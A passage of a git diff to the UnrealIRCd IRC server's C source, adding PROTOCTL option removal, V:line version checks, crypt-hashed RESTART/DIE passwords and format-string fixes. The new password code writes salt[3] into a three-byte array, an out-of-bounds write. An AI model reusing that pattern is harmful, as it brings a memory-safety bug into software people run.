+ return 0; + } + } + tkllayer[1] = whattodo == 0 ? "+" : "-"; + tkllayer[3] = usermask; + tkllayer[4] = hostmask; + tkllayer[5] = + make_nick_user_host(sptr->name, sptr->user->username, + (IsHidden(sptr) ? sptr->user->virthost : sptr->user->realhost)); + if (whattodo == 0) + { + if (secs ==0) + ircsprintf(mo, "%li", secs); + else + ircsprintf(mo, "%li", secs + TStime()); + ircsprintf(mo2, "%li", TStime()); + tkllayer[6] = mo; + tkllayer[7] = mo2; + tkllayer[8] = parv[3]; + /* call the tkl layer .. */ + m_tkl(&me, &me, 9, tkllayer); + } + else + { + /* call the tkl layer .. */ + m_tkl(&me, &me, 6, tkllayer); + + } +} + diff --git a/src/s_misc.c b/src/s_misc.c index 135460069..1acb8a530 100644 --- a/src/s_misc.c +++ b/src/s_misc.c @@ -38,7 +38,7 @@ Computing Center and Jarkko Oikarinen"; #include "userload.h" #include #include -#if !defined(ULTRIX) && !defined(SGI) && !defined(sequent) && \ +#if !defined(ULTRIX) && !defined(SGI) && \ !defined(__convex__) && !defined(_WIN32) # include #endif @@ -48,10 +48,6 @@ Computing Center and Jarkko Oikarinen"; #ifdef HPUX #include #endif -#ifdef DYNIXPTX -#include -#include -#endif #ifdef _WIN32 # include #endif @@ -65,6 +61,7 @@ extern float currentrate; extern float currentrate2; #endif extern ircstats IRCstats; +extern char *me_hash; ID_CVS("$Id$"); static void exit_one_client PROTO((aClient *, aClient *, aClient *, char *)); @@ -270,37 +267,25 @@ char *get_client_name(sptr, showip) if (MyConnect(sptr)) { - if (IsUnixSocket(sptr)) + if (showip) + (void)ircsprintf(nbuf, "%s[%s@%s.%u]", + sptr->name, + (!(sptr->flags & FLAGS_GOTID)) ? "" : + sptr->username, +#ifdef INET6 + inetntop(AF_INET6, + (char *)&sptr->ip, mydummy, MYDUMMY_SIZE), +#else + inetntoa((char *)&sptr->ip), +#endif + (unsigned int)sptr->port); + else { - if (showip) + if (mycmp(sptr->name, sptr->sockhost)) (void)ircsprintf(nbuf, "%s[%s]", sptr->name, sptr->sockhost); else - (void)ircsprintf(nbuf, "%s[%s]", - sptr->name, me.sockhost); - } - else - { - if (showip) - (void)ircsprintf(nbuf, "%s[%s@%s.%u]", - sptr->name, - (!(sptr->flags & FLAGS_GOTID)) ? "" : - sptr->username, -#ifdef INET6 - inetntop(AF_INET6, - (char *)&sptr->ip, mydummy, MYDUMMY_SIZE), -#else - inetntoa((char *)&sptr->ip), -#endif - (unsigned int)sptr->port); - else - { - if (mycmp(sptr->name, sptr->sockhost)) - (void)ircsprintf(nbuf, "%s[%s]", - sptr->name, sptr->sockhost); - else - return sptr->name; - } + return sptr->name; } return nbuf; } @@ -316,13 +301,10 @@ char *get_client_host(cptr) return cptr->name; if (!cptr->hostp) return get_client_name(cptr, FALSE); - if (IsUnixSocket(cptr)) - (void)ircsprintf(nbuf, "%s[%s]", cptr->name, me.name); - else - (void)ircsprintf(nbuf, "%s[%-.*s@%-.*s]", - cptr->name, USERLEN, - (!(cptr->flags & FLAGS_GOTID)) ? "" : cptr->username, - HOSTLEN, cptr->hostp->h_name); + (void)ircsprintf(nbuf, "%s[%-.*s@%-.*s]", + cptr->name, USERLEN, + (!(cptr->flags & FLAGS_GOTID)) ? "" : cptr->username, + HOSTLEN, cptr->hostp->h_name); return nbuf; } @@ -423,8 +405,7 @@ int exit_client(cptr, sptr, from, comment) IRCstats.me_clients--; if (IsServer(sptr)) IRCstats.me_servers--; - if (IsUnknown(sptr)) - IRCstats.unknown--; + sptr->flags |= FLAGS_CLOSING; if (IsPerson(sptr)) { @@ -604,6 +585,7 @@ int exit_client(cptr, sptr, from, comment) } recurse--; } + /* * Finally, clear out the server we lost itself @@ -675,7 +657,7 @@ static void exit_one_client_backend(cptr, sptr, from, comment, split) } } } - else if (!(IsPerson(sptr) || IsService(sptr))) + else if (!(IsPerson(sptr))) /* ...this test is *dubious*, would need ** some thougth.. but for now it plugs a ** nasty hole in the server... --msa @@ -713,8 +695,8 @@ static void exit_one_client_backend(cptr, sptr, from, comment, split) sendto_common_channels(sptr, ":%s QUIT :%s", sptr->name, comment); - if (!IsULine(cptr, sptr) && !MyClient(sptr) && !split) - if (!MyClient(sptr)) + if (!IsULine(cptr, sptr) && !split) + if (sptr->user->server != me_hash) sendto_umode(UMODE_FCLIENT, "*** Notice -- Client exiting at %s: %s!%s@%s (%s)", sptr->user->server, sptr->name, diff --git a/src/s_serv.c b/src/s_serv.c index 563a1a314..77c1e6f28 100644 --- a/src/s_serv.c +++ b/src/s_serv.c @@ -1,4 +1,3 @@ -/* /* * Unreal Internet Relay Chat Daemon, src/s_serv.c * Copyright (C) 1990 Jarkko Oikarinen and @@ -27,6 +26,7 @@ static char sccsid[] = "@(#)s_serv.c 2.55 2/7/94 (C) 1988 University of Oulu, Computing Center and Jarkko Oikarinen"; #endif + #include "struct.h" #include "common.h" #include "sys.h" @@ -35,7 +35,7 @@ static char sccsid[] = #include "channel.h" #include "userload.h" #include "version.h" -#if defined(PCS) || defined(AIX) || defined(DYNIXPTX) || defined(SVR3) +#if defined(PCS) || defined(AIX) || defined(SVR3) #include #endif #include @@ -335,8 +335,11 @@ int m_protoctl(cptr, sptr, parc, parv) char *parv[]; { int i; - char proto[128], *options, *equal; - static char *dummyblank = ""; /* Yes, it is kind of ugly */ +#ifndef PROTOCTL_MADNESS + int remove = 0; +#endif + char proto[128], *s; +/* static char *dummyblank = ""; Yes, it is kind of ugly */ #ifdef PROTOCTL_MADNESS if (GotProtoctl(sptr)) @@ -356,65 +359,162 @@ int m_protoctl(cptr, sptr, parc, parv) { strncpy(proto, parv[i], 127); proto[127] = '\0'; /* Just to be safe... */ - equal = (char *)index(proto, '='); + s = proto; +#ifndef PROTOCTL_MADNESS + if (*s == '-') { + s++; + remove = 1; + } + else + remove = 0; +#endif +/* equal = (char *)index(proto, '='); if (equal == NULL) options = dummyblank; else { - options = &equal[1]; /* Variable-byte-size safe */ + options = &equal[1]; equal[0] = '\0'; } - - if (strcmp(proto, "NOQUIT") == 0) +*/ + if (strcmp(s, "NOQUIT") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearNoQuit(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetNoQuit(cptr); + } - else if (strcmp(proto, "TOKEN") == 0) + else if (strcmp(s, "TOKEN") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearToken(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetToken(cptr); } - else if (strcmp(proto, "HCN") == 0) + else if (strcmp(s, "HCN") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearHybNotice(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetHybNotice(cptr); } - else if (strcmp(proto, "SJOIN") == 0) + else if (strcmp(s, "SJOIN") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearSJOIN(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetSJOIN(cptr); } - else if (strcmp(proto, "SJOIN2") == 0) + else if (strcmp(s, "SJOIN2") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearSJOIN2(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetSJOIN2(cptr); } - else if (strcmp(proto, "NICKv2") == 0) + else if (strcmp(s, "NICKv2") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearNICKv2(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetNICKv2(cptr); } - else if (strcmp(proto, "UMODE2") == 0) + else if (strcmp(s, "UMODE2") == 0) { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearUMODE2(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetUMODE2(cptr); } - else if (strcmp(proto, "ALN") == 0) + else if (strcmp(s, "ALN") == 0) { +#ifdef PROTOCTL_MADNESS + if (remove) { + ClearALN(cptr); + continue; + } +#endif Debug((DEBUG_ERROR, "Chose protocol %s for link %s", proto, cptr->name)); SetALN(cptr); } + else if (strcmp(s, "VL") == 0) + { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearVL(cptr); + continue; + } +#endif + Debug((DEBUG_ERROR, + "Chose protocol %s for link %s", + proto, cptr->name)); + SetVL(cptr); + } + else if (strcmp(s, "VHP") == 0) + { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearVHP(cptr); + continue; + } +#endif + Debug((DEBUG_ERROR, + "Chose protocol %s for link %s", + proto, cptr->name)); + SetVHP(cptr); + } + else if (strcmp(s, "SJ3") == 0) + { +#ifndef PROTOCTL_MADNESS + if (remove) { + ClearSJ3(cptr); + continue; + } +#endif + Debug((DEBUG_ERROR, + "Chose protocol %s for link %s", + proto, cptr->name)); + SetSJ3(cptr); + } /* * Add other protocol extensions here, with proto * containing the base option, and options containing @@ -443,11 +543,12 @@ int m_server(cptr, sptr, parc, parv) { char *ch; int i; - char info[REALLEN + 1], *inpath, *host, *encr; + char info[REALLEN + 1], *inpath, *host, *encr, *f; + char pp[512]; aClient *acptr, *bcptr; aConfItem *aconf, *cconf; int hop, ts = 0; - char *parvaln; + char *parvaln, *flags, *protocol, *inf; info[0] = '\0'; inpath = get_client_name(cptr, FALSE); @@ -531,11 +632,11 @@ int m_server(cptr, sptr, parc, parv) aconf = find_conf_servern(host); if (!aconf) { - sendto_locfailops("ERROR :No Access (No N line) %s", + sendto_one(cptr,"ERROR :No Access (No matching N:line) %s", inpath); - sendto_locfailops("Access denied (No N line) %s", + sendto_locfailops("Access denied (No matching N:line) %s", inpath); - return exit_client(cptr, cptr, cptr, "No N line"); + return exit_client(cptr, cptr, cptr, "No matching N:line"); } #ifdef CRYPT_LINK_PASSWORD /* use first two chars of the password they send in as salt */ @@ -564,9 +665,16 @@ int m_server(cptr, sptr, parc, parv) inpath); return exit_client(cptr, cptr, cptr, "Bad Password"); } - /* bzero(cptr->passwd, sizeof(cptr->passwd)); */ + /* bzero(cptr->passwd, sizeof(cptr->passwd)); */ + } + f = (char *) does_servername_collide(parv[1]); + if (f) + { + ircsprintf(pp, "Servername %s collides with servername %s (similar hash). Change servername in some way (maybe change case)", + parv[1], f); + sendto_realops("Link %s cancelled - %s", inpath, pp); + return exit_client(cptr, cptr, cptr, pp); } - if ((acptr = find_name(host, NULL))) { aClient *ocptr; @@ -607,6 +715,8 @@ int m_server(cptr, sptr, parc, parv) return exit_client(cptr, cptr, cptr, "Nick as Server"); } + + if (IsServer(cptr)) { /* @@ -682,6 +792,11 @@ int m_server(cptr, sptr, parc, parv) strncpyzt(acptr->info, info, sizeof(acptr->info)); acptr->serv->up = find_or_add(parv[0]); SetServer(acptr); + /* Taken from bahamut makes it so all servers behind a U:lined + * server are also U:lined, very helpful if HIDE_ULINES is on + */ + if (IsULine(sptr,sptr) || (find_uline(cptr->confs, acptr->name))) + acptr->flags |= FLAGS_ULINE; IRCstats.servers++; (void)find_or_add(acptr->name); acptr->flags |= FLAGS_TS8; @@ -721,9 +836,6 @@ int m_server(cptr, sptr, parc, parv) IsToken(bcptr) ? TOK_SERVER : MSG_SERVER, acptr->name, hop + 1, acptr->info); } - /* Check for U-line status -- Barubary */ - if (find_conf_host(cptr->confs, acptr->name, CONF_UWORLD)) - acptr->flags |= FLAGS_ULINE; return 0; } @@ -735,6 +847,111 @@ int m_server(cptr, sptr, parc, parv) ** status accordingly... */ strncpyzt(cptr->name, host, sizeof(cptr->name)); + /* For now, just strip the VL stuff if it's there */ + if (SupportVL(cptr)) { + /* we also have a fail safe incase they say they are sending + * VL stuff and don't -- codemastr + */ + aConfItem *vlines = NULL; + inf = NULL; + protocol = NULL; + flags = NULL; + + protocol = (char *)strtok((char *)info, "-"); + if (protocol) + flags = (char *)strtok((char *)NULL, " "); + if (flags) + inf = (char *)strtok((char *)NULL, ""); + if (inf) { + strncpyzt(cptr->info, *inf ? inf : me.name, sizeof(cptr->info)); + for (vlines = conf; vlines; vlines = vlines->next) { + if ((vlines->status & CONF_VERSION) && !match(vlines->name,cptr->name)) + break; + } + if (vlines) { + char *proto = vlines->host; + char *vflags = vlines->passwd; + int result = 0; + int i; + protocol++; + /* check the protocol */ + switch(*proto) { + case '<': + proto++; + if (atoi(protocol) < atoi(proto)) + result = 1; + else + result = 0; + break; + case '>': + proto++; + if (atoi(protocol) > atoi(proto)) + result = 1; + else + result = 0; + break; + case '=': + proto++; + if (atoi(protocol) == atoi(proto)) + result = 1; + else + result = 0; + break; + case '!': + proto++; + if (atoi(protocol) != atoi(proto)) + result = 1; + else + result = 0; + break; + /* default to = if anything else */ + default: + if (atoi(protocol) == atoi(proto)) + result = 1; + else + result = 0; + break; + } /* switch(*proto) */ + /* For Services */ + if (atoi(protocol) == 0) + result = 0; + /* if the proto in the V:line is * let it pass */ + if (*proto == '*') + result = 0; + + + if (result) + return exit_client(cptr, cptr, cptr, "Denied by V:line"); + + /* If it passed the protocol check, check the flags */ + + for(i = 0; vflags[i]; i++) { + if (vflags[i] == '!') { + i++; + if (strchr(flags, (int)vflags[i])) { + result = 1; + break; + } + } + if (!strchr(flags, (int)vflags[i])) { + result = 1; + break; + } + } /* for(i = 0; vflags[i]; i++) */ + if (*vflags == '*') + result = 0; + /* for services */ + if (!strcmp(flags, "0")) + result = 0; + if (result) + return exit_client(cptr, cptr, cptr, "Denied by V:line"); + + } /* if (vlines) */ + } /* if (flags) */ + else + strncpyzt(cptr->info, info[0] ? info : me.name, sizeof(cptr->info)); + } + else strncpyzt(cptr->info, info[0] ? info : me.name, sizeof(cptr->info)); cptr->hopcount = hop; @@ -779,6 +996,7 @@ int m_server_estab(cptr) char *inpath, *host, *s, *encr; int split, i; char *myaln = find_server_aln(me.name); + extern char serveropts[]; inpath = get_client_name(cptr, TRUE); /* "refresh" inpath with host */ split = mycmp(cptr->name, cptr->sockhost); @@ -791,8 +1009,8 @@ int m_server_estab(cptr) { ircstp->is_ref++; sendto_one(cptr, - "ERROR :Access denied. No N line for server %s", inpath); - sendto_ops("Access denied. No N line for server %s", inpath); + "ERROR :Access denied. No N:line for server %s", inpath); + sendto_ops("Access denied. No N:line for server %s", inpath); return exit_client(cptr, cptr, cptr, "No N line for server"); } if (!(bconf = find_conf(cptr->confs, host, CONF_CONNECT_SERVER))) @@ -849,8 +1067,9 @@ int m_server_estab(cptr) /* ** Pass my info to the new server */ - sendto_one(cptr, "SERVER %s 1 :%s", - my_name_for_link(me.name, aconf), + /* modified so we send out the Uproto and flags */ + sendto_one(cptr, "SERVER %s 1 :U%d-%s %s", + my_name_for_link(me.name, aconf), UnrealProtocol, serveropts, (me.info[0]) ? (me.info) : "IRCers United"); } else @@ -894,7 +1113,7 @@ int m_server_estab(cptr) #ifndef NO_FDLIST addto_fdlist(cptr->fd, &serv_fdlist); #endif - if (find_conf_host(cptr->confs, cptr->name, CONF_UWORLD)) + if ((find_uline(cptr->confs, cptr->name))) cptr->flags |= FLAGS_ULINE; cptr->flags |= FLAGS_TS8; nextping = TStime(); @@ -910,8 +1129,6 @@ int m_server_estab(cptr) cptr->serv->up = me.name; cptr->srvptr = &me; cptr->serv->nline = aconf; - if (find_conf_host(cptr->confs, cptr->name, CONF_UWORLD)) - cptr->flags |= FLAGS_ULINE; /* ** Old sendto_serv_but_one() call removed because we now @@ -1028,21 +1245,35 @@ int m_server_estab(cptr) else { send_umode(NULL, acptr, 0, SEND_UMODES, buf); - sendto_one(cptr, - "%s %s %d %d %s %s %s %lu %s %s :%s", - (IsToken(cptr) ? TOK_NICK : MSG_NICK), - acptr->name, acptr->hopcount + 1, - acptr->lastnick, acptr->user->username, - acptr->user->realhost, - (SupportALN(cptr) ? - find_server_aln(acptr->user-> - server) : acptr->user->server), - acptr->user->servicestamp, (!buf - || *buf == '\0' ? "+" : buf), - ((IsHidden(acptr) - && (acptr->umodes & UMODE_SETHOST)) ? - acptr->user->virthost : "*"), acptr->info); - + if (!SupportVHP(cptr)) + sendto_one(cptr, + "%s %s %d %d %s %s %s %lu %s %s :%s", + (IsToken(cptr) ? TOK_NICK : MSG_NICK), + acptr->name, acptr->hopcount + 1, + acptr->lastnick, acptr->user->username, + acptr->user->realhost, + (SupportALN(cptr) ? + find_server_aln(acptr->user-> + server) : acptr->user->server), + acptr->user->servicestamp, (!buf + || *buf == '\0' ? "+" : buf), + ((IsHidden(acptr) + && (acptr->umodes & UMODE_SETHOST)) ? + acptr->user->virthost : "*"), acptr->info); + else + sendto_one(cptr, + "%s %s %d %d %s %s %s %lu %s %s :%s", + (IsToken(cptr) ? TOK_NICK : MSG_NICK), + acptr->name, acptr->hopcount + 1, + acptr->lastnick, acptr->user->username, + acptr->user->realhost, + (SupportALN(cptr) ? + find_server_aln(acptr->user-> + server) : acptr->user->server), + acptr->user->servicestamp, (!buf + || *buf == '\0' ? "+" : buf), + IsHidden(acptr) ? acptr->user->virthost + : acptr->user->realhost, acptr->info); } if (acptr->user->away) @@ -1059,13 +1290,6 @@ int m_server_estab(cptr) if (!SupportSJOIN(cptr)) send_user_joins(cptr, acptr); } - else if (IsService(acptr)) - { - sendto_one(cptr, "NICK %s :%d", - acptr->name, acptr->hopcount + 1); - sendto_one(cptr, ":%s SERVICE * * :%s", - acptr->name, acptr->info); - } } /* ** Last, pass all channels plus statuses @@ -1077,7 +1301,12 @@ int m_server_estab(cptr) if (!SupportSJOIN(cptr)) send_channel_modes(cptr, chptr); else - send_channel_modes_sjoin(cptr, chptr); + if (SupportSJOIN(cptr) && !SupportSJ3(cptr)) + { + send_channel_modes_sjoin(cptr, chptr); + } + else + send_channel_modes_sjoin3(cptr, chptr); if (chptr->topic_time) sendto_one(cptr, "%s %s %s %lu :%s", (IsToken(cptr) ? TOK_TOPIC : MSG_TOPIC), @@ -1269,7 +1498,7 @@ int m_netinfo(cptr, sptr, parc, parv) me.name, cptr->name, parv[8], ircnetwork); } - if (protocol != UnrealProtocol) + if ((protocol != UnrealProtocol) && (protocol != 0)) { sendto_realops ("Link %s is running Protocol u%li while we are running %li!", @@ -1799,8 +2028,9 @@ int m_summon(cptr, sptr, parc, parv) ** it--not reversed as in ircd.conf! */ -static int report_array[18][3] = { +static int report_array[][3] = { {CONF_CONNECT_SERVER, RPL_STATSCLINE, 'C'}, + {CONF_NOCONNECT_SERVER, RPL_STATSOLDNLINE, 'N'}, {CONF_NLINE, RPL_STATSNLINE, 'n'}, {CONF_CLIENT, RPL_STATSILINE, 'I'}, {CONF_KILL, RPL_STATSKLINE, 'K'}, @@ -1817,6 +2047,7 @@ static int report_array[18][3] = { {CONF_MISSING, RPL_STATSXLINE, 'X'}, {CONF_TLINE, RPL_STATSTLINE, 't'}, {CONF_SOCKSEXCEPT, RPL_STATSELINE, 'e'}, + {CONF_VERSION, RPL_STATSVLINE, 'V'}, {0, 0} }; @@ -1963,6 +2194,9 @@ static void report_configured_links(sptr, mask) sendto_one(sptr, rpl_str(RPL_STATSNLINE), me.name, sptr->name, host, pass); } + else if (mask == CONF_VERSION) + sendto_one(sptr, rpl_str(RPL_STATSVLINE), + me.name, sptr->name, host, pass, name); /* else if (mask == CONF_EXCEPT) { ppx = MyMalloc(strlen(tmp->passwd) + 1); @@ -2070,6 +2304,8 @@ int m_stats(cptr, sptr, parc, parv) switch (stat) { + case 'b': badwords_stats(); + break; case 'L': case 'l': /* @@ -2240,11 +2476,10 @@ int m_stats(cptr, sptr, parc, parv) send_usage(sptr, parv[0]); #endif break; -#ifdef DEVELOP case 's': - list_scache(sptr); + if (IsOper(sptr)) + list_scache(sptr); break; -#endif case 'S': if (IsOper(sptr)) report_dynconf(sptr); @@ -2280,6 +2515,8 @@ int m_stats(cptr, sptr, parc, parv) break; } case 'v': + report_configured_links(sptr, CONF_VERSION); + break; case 'V': vhost_report(sptr); break; @@ -2380,7 +2617,7 @@ int m_error(cptr, sptr, parc, parv) ** screen otherwise). Pass ERROR's from other sources to ** the local operator... */ - if (IsPerson(cptr) || IsUnknown(cptr) || IsService(cptr)) + if (IsPerson(cptr) || IsUnknown(cptr)) return 0; if (cptr == sptr) { @@ -2447,7 +2684,7 @@ int m_help(cptr, sptr, parc, parv) } if (message[1] == '!') sendto_serv_butone_token(IsServer(cptr) ? cptr : NULL, - parv[0], MSG_HELP, TOK_HELP, message); + parv[0], MSG_HELP, TOK_HELP, "%s", message); if (!myncmp(message, "IGNORE ", 7)) { tmpl = make_link(); @@ -2481,14 +2718,14 @@ int m_help(cptr, sptr, parc, parv) } sendto_serv_butone_token(IsServer(cptr) ? cptr : NULL, - parv[0], MSG_HELP, TOK_HELP, message); + parv[0], MSG_HELP, TOK_HELP, "%s", message); sendto_helpops("from %s (Local): %s", parv[0], message); sendto_one(sptr, rpl_str(RPL_HELPFWD), me.name, parv[0]); } else { sendto_serv_butone_token(IsServer(cptr) ? cptr : NULL, - parv[0], MSG_HELP, TOK_HELP, message); + parv[0], MSG_HELP, TOK_HELP, "%s", message); sendto_helpops("from %s: %s", parv[0], message); } @@ -2556,6 +2793,7 @@ int m_lusers(cptr, sptr, parc, parv) return 0; } +extern int Rha; void save_tunefile(void) { @@ -2573,6 +2811,7 @@ void save_tunefile(void) } fprintf(tunefile, "%li\n", TSoffset); fprintf(tunefile, "%li\n", IRCstats.me_max); + fprintf(tunefile, "%li\n", Rha); fclose(tunefile); } @@ -2589,6 +2828,8 @@ void load_tunefile(void) TSoffset = atol(buf); fgets(buf, 1023, tunefile); IRCstats.me_max = atol(buf); + fgets(buf, 1023, tunefile); + Rha = atol(buf); fclose(tunefile); } @@ -2830,7 +3071,8 @@ int m_addline(aClient *cptr, aClient *sptr, int parc, char *parv[]) me.name, parv[0], "ADDLINE"); return 0; } - conf = fopen(CPATH, "a"); + /* writes to current -f */ + conf = fopen(configfile, "a"); if (conf == NULL) { return 0; @@ -3550,9 +3792,12 @@ int m_restart(cptr, sptr, parc, parv) int parc; char *parv[]; { - char *pass = NULL; + char *pass = NULL, *encr; int x; - +#ifdef CRYPT_XLINE_PASSWORD + char salt[3]; + extern char *crypt(); +#endif if (MyClient(sptr) && !OPCanRestart(sptr)) { sendto_one(sptr, err_str(ERR_NOPRIVILEGES), me.name, parv[0]); @@ -3598,8 +3843,16 @@ int m_restart(cptr, sptr, parc, parv) parv[0], "RESTART"); return 0; } - - if (strcmp(pass, parv[1])) +#ifdef CRYPT_XLINE_PASSWORD + salt[0]=pass[0]; + salt[1]=pass[1]; + salt[3]='\0'; + + encr = crypt(parv[1], salt); +#else + encr = parv[1]; +#endif + if (strcmp(pass, encr)) { sendto_one(sptr, err_str(ERR_PASSWDMISMATCH), me.name, parv[0]); @@ -3788,11 +4041,6 @@ int m_trace(cptr, sptr, parc, parv) now - acptr->lasttime); cnt++; break; - case STAT_SERVICE: - sendto_one(sptr, rpl_str(RPL_TRACESERVICE), - me.name, parv[0], class, name); - cnt++; - break; case STAT_LOG: sendto_one(sptr, rpl_str(RPL_TRACELOG), me.name, parv[0], LOGFILE, acptr->port); @@ -4349,9 +4597,9 @@ int m_close(cptr, sptr, parc, parv) closed++; } sendto_one(sptr, rpl_str(RPL_CLOSEEND), me.name, parv[0], closed); - sendto_ops("%s!%s@%s closed %d unknown connections", sptr->name, - sptr->user->username, sptr->user->realhost, closed); - IRCstats.unknown -= closed; + sendto_realops("%s!%s@%s closed %d unknown connections", sptr->name, + sptr->user->username, IsHidden(sptr) ? sptr->user->virthost : sptr->user->realhost, closed); + IRCstats.unknown = 0; return 0; } @@ -4366,8 +4614,12 @@ int m_die(cptr, sptr, parc, parv) { aClient *acptr; int i; - char *pass = NULL; + char *pass = NULL, *encr; +#ifdef CRYPT_XLINE_PASSWORD + char salt[3]; + extern char *crypt(); +#endif if (!MyClient(sptr) || !OPCanDie(sptr)) { @@ -4384,7 +4636,17 @@ int m_die(cptr, sptr, parc, parv) return 0; } - if (strcmp(pass, parv[1])) +#ifdef CRYPT_XLINE_PASSWORD + salt[0] = pass[0]; + salt[1] = pass[1]; + salt[3] = '\0'; + + encr = crypt(parv[1], salt); +#else + encr = parv[1]; +#endif + + if (strcmp(pass,encr)) { sendto_one(sptr, err_str(ERR_PASSWDMISMATCH), me.name, parv[0]); @@ -4468,13 +4730,14 @@ void dump_map(cptr, server, mask, prompt_length, length) { if (HIDE_ULINES == 1) { - if (IsServer(acptr) && IsULine(acptr, acptr) - && !IsAnOper(cptr)) - continue; - } if (!IsServer(acptr) || strcmp(acptr->serv->up, server->name)) continue; + if (IsULine(acptr, acptr) + && !IsAnOper(cptr)) + continue; + } + if (match(mask, acptr->name)) acptr->flags &= ~FLAGS_MAP; else @@ -4489,6 +4752,10 @@ void dump_map(cptr, server, mask, prompt_length, length) if (!(acptr->flags & FLAGS_MAP) || /* != */ !IsServer(acptr) || strcmp(acptr->serv->up, server->name)) continue; + if (HIDE_ULINES == 1) { + if (IsULine(acptr,acptr) && !IsAnOper(cptr)) + continue; + } if (--cnt == 0) *p = '`'; dump_map(cptr, acptr, mask, prompt_length + 2, length - 2); @@ -4518,7 +4785,7 @@ int m_map(cptr, sptr, parc, parv) parv[1] = "*"; for (acptr = client; acptr; acptr = acptr->next) if (IsServer(acptr) - && (strlen(acptr->name) + acptr->hopcount * 2) > longest) + && (strlen(acptr->name) + acptr->hopcount * 2) > longest) longest = strlen(acptr->name) + acptr->hopcount * 2; if (longest > 60) diff --git a/src/s_unreal.c b/src/s_unreal.c index 1e0de083f..46b492f2d 100644 --- a/src/s_unreal.c +++ b/src/s_unreal.c @@ -45,6 +45,7 @@ ID_CVS("$Id$"); ID_Copyright("(C) Carsten Munk 1999"); time_t TSoffset = 0; +extern ircstats IRCstats; #ifndef NO_FDLIST extern float currentrate; @@ -74,7 +75,11 @@ int m_sethost(cptr, sptr, parc, parv) char *parv[]; { char *vhost, *s; +#ifndef DISABLE_USERMOD int permit = 0; // 0 = opers(glob/locop) 1 = global oper 2 = not MY clients.. +#else + int permit = 2; +#endif int donotice = 0; /* send out notices if local connect ( 0 = NOT 1 = yes ) */ int legalhost = 1; /* is legal characters? */ @@ -176,7 +181,7 @@ int m_sethost(cptr, sptr, parc, parv) sprintf(sptr->user->virthost, "%s", vhost); /* spread it out */ sendto_serv_butone_token(cptr, sptr->name, MSG_SETHOST, TOK_SETHOST, - parv[1]); + "%s", parv[1]); if (MyConnect(sptr)) { @@ -207,7 +212,13 @@ int m_chghost(cptr, sptr, parc, parv) char *s; int legalhost = 1; - +#ifdef DISABLE_USERMOD + if (MyClient(sptr)) + { + sendto_one(sptr, ":%s NOTICE %s :*** The /chghost command is disabled on this server", me.name, sptr->name); + return 0; + } +#endif if (MyClient(sptr)) if (!IsAnOper(sptr)) @@ -306,7 +317,13 @@ int m_chgident(cptr, sptr, parc, parv) char *s; int legalident = 1; - +#ifdef DISABLE_USERMOD + if (MyClient(sptr)) + { + sendto_one(sptr, ":%s NOTICE %s :*** The /chgident command is disabled on this server", me.name, sptr->name); + return 0; + } +#endif if (MyClient(sptr)) if (!IsAnOper(sptr)) @@ -333,7 +350,7 @@ int m_chgident(cptr, sptr, parc, parv) return 0; } - if (strlen(parv[2]) > (HOSTLEN - 1)) + if (strlen(parv[2]) > (USERLEN - 1)) { sendto_one(sptr, ":%s NOTICE %s :*** ChgIdent Error: Too long ident!!", @@ -370,7 +387,7 @@ int m_chgident(cptr, sptr, parc, parv) } sendto_serv_butone_token(cptr, sptr->name, MSG_CHGIDENT, - TOK_CHGIDENT, sptr->name, acptr->name, parv[2]); + TOK_CHGIDENT, "%s %s", acptr->name, parv[2]); sprintf(acptr->user->username, "%s", parv[2]); return 0; } @@ -400,7 +417,11 @@ int m_setident(cptr, sptr, parc, parv) { char *vident, *s; +#ifndef DISABLE_USERMOD int permit = 0; /* 0 = opers(glob/locop) 1 = global oper */ +#else + int permit = 2; +#endif int donotice = 0; /* send out notices if local connect ( 0 = NOT 1 = yes ) */ int legalident = 1; /* is legal characters? */ if (!MyConnect(sptr)) @@ -497,7 +518,7 @@ int m_setident(cptr, sptr, parc, parv) sprintf(sptr->user->username, "%s", vident); /* spread it out */ sendto_serv_butone_token(cptr, sptr->name, - MSG_SETIDENT, TOK_SETIDENT, parv[1]); + MSG_SETIDENT, TOK_SETIDENT, "%s", parv[1]); if (MyConnect(sptr)) { @@ -558,7 +579,7 @@ int m_setname(cptr, sptr, parc, parv) return xx; } - sendto_serv_butone(cptr, sptr->name, MSG_SETNAME, TOK_SETNAME, + sendto_serv_butone_token(cptr, sptr->name, MSG_SETNAME, TOK_SETNAME, ":%s", parv[1]); if (MyConnect(sptr)) sendto_one(sptr, @@ -615,7 +636,7 @@ int m_sdesc(cptr, sptr, parc, parv) sprintf(sptr->srvptr->info, "%s", parv[1]); sendto_serv_butone_token(cptr, sptr->name, MSG_SDESC, TOK_SDESC, ":%s", - parv[0], parv[1]); + parv[1]); if (MyConnect(sptr)) { @@ -1271,6 +1292,8 @@ int m_svso(cptr, sptr, parc, parv) if (*parv[2] == '-') { fLag = acptr->umodes; + if (IsOper(acptr)) + IRCstats.operators--; acptr->umodes &= ~(UMODE_OPER | UMODE_LOCOP | UMODE_HELPOP | UMODE_SERVICES | UMODE_SADMIN | UMODE_ADMIN); @@ -1285,12 +1308,6 @@ int m_svso(cptr, sptr, parc, parv) } } -int m_shun(cptr, sptr, parc, parv) - aClient *cptr, *sptr; - int parc; - char *parv[]; -{ -} int m_htm(cptr, sptr, parc, parv) aClient *cptr, *sptr; @@ -1374,7 +1391,7 @@ int m_htm(cptr, sptr, parc, 